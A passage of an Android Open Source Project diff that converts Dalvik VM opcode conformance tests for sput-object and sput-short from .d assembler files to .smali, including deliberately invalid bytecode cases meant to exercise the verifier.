+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_4;
+.super Ljava/lang/Object;
+.source "T_sput_object_4.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p1, Ldot/junit/opcodes/sput_object/d/T_sput_object_4;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d
deleted file mode 100644
index b43597a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_6.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_6
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali
new file mode 100644
index 0000000..d559c5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_6.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali
new file mode 100644
index 0000000..e7a6dd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_7;
+.super Ljava/lang/Object;
+.source "T_sput_object_7.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_7;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d
deleted file mode 100644
index 26495a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_8.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali
new file mode 100644
index 0000000..62a26f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_8.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali
new file mode 100644
index 0000000..f3295c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_9;
+.super Ljava/lang/Object;
+.source "T_sput_object_9.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_9noclass;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d
deleted file mode 100644
index f41be35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_1.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_1
-.super java/lang/Object
-
-.field public static st_i1 S
-.field protected static st_p1 S
-.field private static st_pvt1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()S
-.limit regs 2
-
-       sget-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_pvt1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali
new file mode 100644
index 0000000..4af47cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_1.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+.field protected static st_p1:S
+.field private static st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d
deleted file mode 100644
index 10a12b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_10.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_10
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_10.st_i1N S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali
new file mode 100644
index 0000000..4349f10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_10.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_10;->st_i1N:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d
deleted file mode 100644
index 4351376..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_11.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.TestStubs.TestStubFieldFinal S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali
new file mode 100644
index 0000000..82c2e40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_11.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d
deleted file mode 100644
index a9dbbb0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_12.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_12
-.super java/lang/Object
-
-.field public static final st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_12.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali
new file mode 100644
index 0000000..009b944
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_12.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_12;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
index 3750c17..afc2f26 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_short.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static short value = (short)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..020837c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:S
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-short v1, Ldot/junit/opcodes/sput_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali
new file mode 100644
index 0000000..30a40c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_13.smalis/T_sput_short_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/T_sput_short_13;
+.super Ljava/lang/Object;
+.source "T_sput_short_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-short v1, Ldot/junit/opcodes/sput_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d
deleted file mode 100644
index a836771..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_14.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_14
-.super dot/junit/opcodes/sput_short/d/T_sput_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_short/d/T_sput_short_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()S
-.limit regs 2
-
-       sget-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_p1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_p1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali
new file mode 100644
index 0000000..9096645
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_14.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_14;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d
deleted file mode 100644
index 4848a3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_15.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_15
-.super dot/junit/opcodes/sput_short/d/T_sput_short_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_short/d/T_sput_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_pvt1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali
new file mode 100644
index 0000000..836d384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_15.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_15;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
